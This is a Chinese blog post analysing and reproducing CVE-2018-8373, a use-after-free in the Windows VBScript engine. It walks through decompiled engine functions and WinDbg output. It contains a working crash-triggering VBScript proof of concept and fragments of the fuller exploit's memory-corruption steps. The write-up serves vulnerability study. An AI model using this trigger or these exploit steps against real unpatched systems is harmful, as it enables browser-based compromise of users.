欢迎来到 嗅灵易学

零基础也能上手的脚本技术课,一对一答疑带你入门

[原创]CVE-2018-8373分析与复现

[原创]CVE-2018-8373分析与复现

导致crash的exp

Class MyClass

    Dim array()

    Private Sub Class_Initialize

           Redim array(2)

    End Sub

    Public Default Property Get P

           Redim Preserve array(1)        

    End Property

End Class

Set cls=New MyClass

cls.array(2)=cls

触发点分析!

[图片:HZkgSWr.png]
最后这行代码cls.array(2)=cls会调用NameTbl::InvokeEx
逆向结果显示,NameTbl::InvokeEx接着会调用AccessArray和AssignVar,其中stackFor_ecx为导致栈分配接着写入的传递值=ecx也就是AssignVar的edx的寄存器,如图1

struct IEntryPoint *__stdcall NameTbl::InvokeEx(NameTbl *this, int a2, unsigned int a3, int a4, struct tagDISPPARAMS *a5, struct tagVARIANT *a6, struct tagEXCEPINFO *a7, struct IServiceProvider *a8)

{

省略部分....

 else if ( ((_DWORD)v18->lpVtbl & 0xBFFF) == 8204 )

            {

              hr = (struct IEntryPoint *)AccessArray(

                                            (VAR *)v18,

                                            &stackFor_ecx,

                                            (struct VAR **)(v30 - 1),

                                            (struct VAR *)(*v29 + 16),

                                            0,

                                            v42,

                                            v43);

              if ( (signed int)v13 >= 0 )

                  //stackFor_ecx也就是edx的寄存器

                hr = (struct IEntryPoint *)AssignVar(

                                              (int)stackFor_ecx,

                                              v45,

                                              (struct CSession *)&pvarg,

                                              v48,

                                              v42,

                                              (unsigned int)v43);

              VarList::~VarList((VarList *)&v54);

            }

....

}

HRESULT __userpurge AccessArray@<eax>(VAR *varFrom@<edx>, _DWORD *stack@<ecx>, struct VAR **checkVar, struct VAR *varRef, int arrRetRef, struct VAR *a6, struct tagSAFEARRAY **a7)

{

  struct VAR *varPtrType; // eax

  SAFEARRAY *arrRet; // esi

  struct VAR **v9; // eax

  VAR *varNext; // ebx

  int dataSizeOffset; // edi

  struct VAR *vatType; // eax

  int varDimCount; // eax

  int DimSize; // eax

  int dataSize; // edi

  HRESULT result; // eax

  int v17; // ecx

  int v18; // ecx

  struct VAR *v19; // [esp+0h] [ebp-34h]

  const unsigned __int16 *v20; // [esp+4h] [ebp-30h]

  int RetVal; // [esp+18h] [ebp-1Ch]

  _DWORD *stackFor_ecx; // [esp+28h] [ebp-Ch]

  SAFEARRAYBOUND *rgsaboundRef; // [esp+2Ch] [ebp-8h]

  stackFor_ecx = stack;

  varPtrType = VAR::PvarCutAll(varFrom);

  // 如果是Array类型

  if ( *(_WORD *)varPtrType == 8204 )

  {

    arrRet = (SAFEARRAY *)*((_DWORD *)varPtrType + 2);

  }

  else

  {

    if ( *(_WORD *)varPtrType != 24588 )

      return -2147352571;

    arrRet = (SAFEARRAY *)**((_DWORD **)varPtrType + 2);

  }

  if ( !arrRet )

    return -2147352565;

  v9 = (struct VAR **)arrRet->cDims;

  if ( !(_WORD)v9 || v9 != checkVar )

    return -2147352565;

  result = SafeArrayLock(arrRet);

  if ( result >= 0 )

  {

    varNext = varRef;

    // 获取第一个维度

    rgsaboundRef = arrRet->rgsabound;

    dataSizeOffset = 0;

    while ( 1 )

    {

      vatType = VAR::PvarCutAll(varNext);

      if ( *(_WORD *)vatType == 2 )

      {

        // 短整形

        varDimCount = *((signed __int16 *)vatType + 4);

      }

      else if ( *(_WORD *)vatType == 3 )

      {

        // 长整形

        varDimCount = *((_DWORD *)vatType + 2);

      }

      else

      {

        if ( rtVariantChangeTypeEx(

               (struct tagVARIANT *)0x400,

               (struct tagVARIANT *)2,

               3u,

               (unsigned __int16)v19,

               (unsigned __int16)v20) < 0 )

        {

          SafeArrayUnlock(arrRet);

          return CScriptRuntime::RecordHr(v18, v19, v20);

        }

        varDimCount = RetVal;

      }

      DimSize = varDimCount - rgsaboundRef->lLbound;

      // 如果维度大小长度大于维度的元素个数

      if ( DimSize < 0 || DimSize >= (signed int)rgsaboundRef->cElements )

      {

        SafeArrayUnlock(arrRet);

        return CScriptRuntime::RecordHr(v17, v19, v20);

      }

      // 当前维度元素大小

      dataSize = DimSize + dataSizeOffset;

      checkVar = (struct VAR **)((char *)checkVar - 1);

      if ( (signed int)checkVar <= 0 )

        break;

      ++rgsaboundRef;

      dataSizeOffset = rgsaboundRef->cElements * dataSize;

      varNext = (VAR *)((char *)varNext + 16);

    }

    result = SafeArrayUnlock(arrRet);

    if ( result >= 0 )

    {

      // 这里datasize正好是0x10,stack是pvData区域的最后0x10空间

      *stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements;

      if ( arrRetRef )

        *(_DWORD *)arrRetRef = arrRet;

      result = 0;

    }

  }

  return result;

}

关于UAF写入位置我的理解是array()默认的长度是1,也就是是占用0x10位置空间, 通过NameTbl::InvokeEx->AccessArray->AssignVar,因为默认长度是1,所以AccessArray的stackFor_ecx分配0x10之后后面的空间都是???,实际上仅仅是分配了0x10后面没有更多的空间后续分配,在SafeArrayRedim又将array的pvData长度变为array(2)的大小也就是3个元素*0x10=0x30,从地址空间的布局可以看出这个0x30空间最后0x10空间正好是0ceaeff0也就是array()默认的长度1个元素所占用的空间,由于RedimPreserveArray把这个空间给释放了,导致实际上释放后可重用的空间还是最初AccessArray申请的array()默认的长度1个元素所占用的空间,最后cls.array(2)=cls调用AssignVar也是往这个地址空间写入数据,因为申请的栈的位置还是AccessArray这里申请的stackFor_ecx->edi,导致崩溃,所以在8373后面的代码

Set cls = New MyClass

    array(2)=cls

//之后导致执行

            For i = 0 To UBound(array2,2)

                    array2(0,i) = 3

                    Next

这个3值首先往申请的栈写入

For i = 0 To UBound(array)

                    array(i) = array2

                    Next

这里只是array的pvData赋值成array2,仅仅是引用,array2的pvData在它直接pvData指针指向的地址所以为实际写入array的pvData

Public Default Property Get P            

        P=&h0fffffff

        End Property

MyClass的p属性需要往栈写入值,通过AssignVar,所以导致array()默认的0x10空间在也就是RedimPreserveArray最后的0x10空间数据为3 和0fffffff

0:017> bp vbscript!RedimPreservearray

0:017> bp vbscript!AccessArray

0:017> bp vbscript!AssignVar

0:017> vbscript!AccessArray+0x1a2   

0:007> g

Breakpoint 2 hit

eax=0bec0efc ebx=0beb6fe0 ecx=0beb4f88 edx=0bec0efc esi=685bcbd4 edi=057fbd84

eip=685b2f7a esp=057fbd78 ebp=057fbd94 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206

vbscript!AssignVar:

685b2f7a 8bff            mov     edi,edi

0:007> p

eax=0ceaeff0 ebx=00000002 ecx=057fb904 edx=00000002 esi=0c65afe8 edi=057fba48

eip=685c75c1 esp=057fb8b0 ebp=057fb8dc iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206

//对于之前逆向结果的代码*stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements;

vbscript!AccessArray+0xa2:

685c75c1 8b4510          mov     eax,dword ptr [ebp+10h] ss:0023:057fb8ec=00000000

0:007> dc ecx

//默认分配的空间地址指针

057fb904  0ceaeff0 057fb92c 00000001 0beb0fe8  ....,...........

057fb914  00000000 00000000 80020006 0beb4f88  .............O..

057fb924  0beb2fe0 0070af60 00000000 c0c0004a  ./..`.p.....J...

057fb934  c0c0c0c0 0bf3efe8 c0c0c0c0 057fb95c  ............\...

057fb944  696d58e3 0c964f98 057fb970 c0c0600c  .Xmi.O..p....`..

057fb954  c0c0c0c0 0bf46f90 0c65afe8 685d89ce  .....o....e...]h

057fb964  057fb9a4 685d9801 082d7fd0 00000003  ......]h..-.....

057fb974  00000409 00000004 057fb9f8 00000000  ................

//实际上仅仅是分配了0x10没有多余分配

0:007> dc  0ceaeff0

0ceaeff0  00000000 00000000 00000000 00000000  ................

0ceaf000  ???????? ???????? ???????? ????????  ????????????????

0ceaf010  ???????? ???????? ???????? ????????  ????????????????

0ceaf020  ???????? ???????? ???????? ????????  ????????????????

0ceaf030  ???????? ???????? ???????? ????????  ????????????????

0ceaf040  ???????? ???????? ???????? ????????  ????????????????

0ceaf050  ???????? ???????? ???????? ????????  ????????????????

0ceaf060  ???????? ???????? ???????? ????????  ????????????????

0:007> g

Breakpoint 0 hit

eax=0c65afe8 ebx=057fb4f8 ecx=0c65afe8 edx=00000001 esi=0bf46f84 edi=0bf16bf0

eip=685dd80c esp=057fb250 ebp=057fb48c iopl=0         nv up ei pl nz na po cy

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200203

vbscript!RedimPreserveArray:

685dd80c 8bff            mov     edi,edi

0:007> dc 0c65afe8

//查看数组的长度是3

0c65afe8  08800001 00000010 00000000 0ceaefd0  ................

0c65aff8  00000003 00000000 ???????? ????????  ........????????

0c65b008  ???????? ???????? ???????? ????????  ????????????????

0c65b018  ???????? ???????? ???????? ????????  ????????????????

0c65b028  ???????? ???????? ???????? ????????  ????????????????

0c65b038  ???????? ???????? ???????? ????????  ????????????????

0c65b048  ???????? ???????? ???????? ????????  ????????????????

0c65b058  ???????? ???????? ???????? ????????  ????????????????

//pvData的空间被RedimPreserveArray撑大到0x30

0:007> dc  0ceaefd0

0ceaefd0  00000000 00000000 00000000 00000000  ................

0ceaefe0  00000000 00000000 00000000 00000000  ................

0ceaeff0  00000000 00000000 00000000 00000000  ................

0ceaf000  ???????? ???????? ???????? ????????  ????????????????

0ceaf010  ???????? ???????? ???????? ????????  ????????????????

0ceaf020  ???????? ???????? ???????? ????????  ????????????????

0ceaf030  ???????? ???????? ???????? ????????  ????????????????

0ceaf040  ???????? ???????? ???????? ????????  ????????????????

0:007> g

(f28.eb8): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=0ceaeff0 ecx=0ceaeff0 edx=0008001f esi=0ceaeff0 edi=057fb8d0

eip=685b217e esp=057fb898 ebp=057fb8a8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246

vbscript!VAR::Clear+0xe:

//导致实际上释放后可重用的空间还是最初AccessArray申请的array()默认的长度1个元素所占用的空间=0ceaeff0

685b217e 0fb703          movzx   eax,word ptr [ebx]       ds:0023:0ceaeff0=????

漏洞修复补丁比较分析

注意:上传附件及图片大小不得大于30M。

⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。

0 0 0 举报
复制成功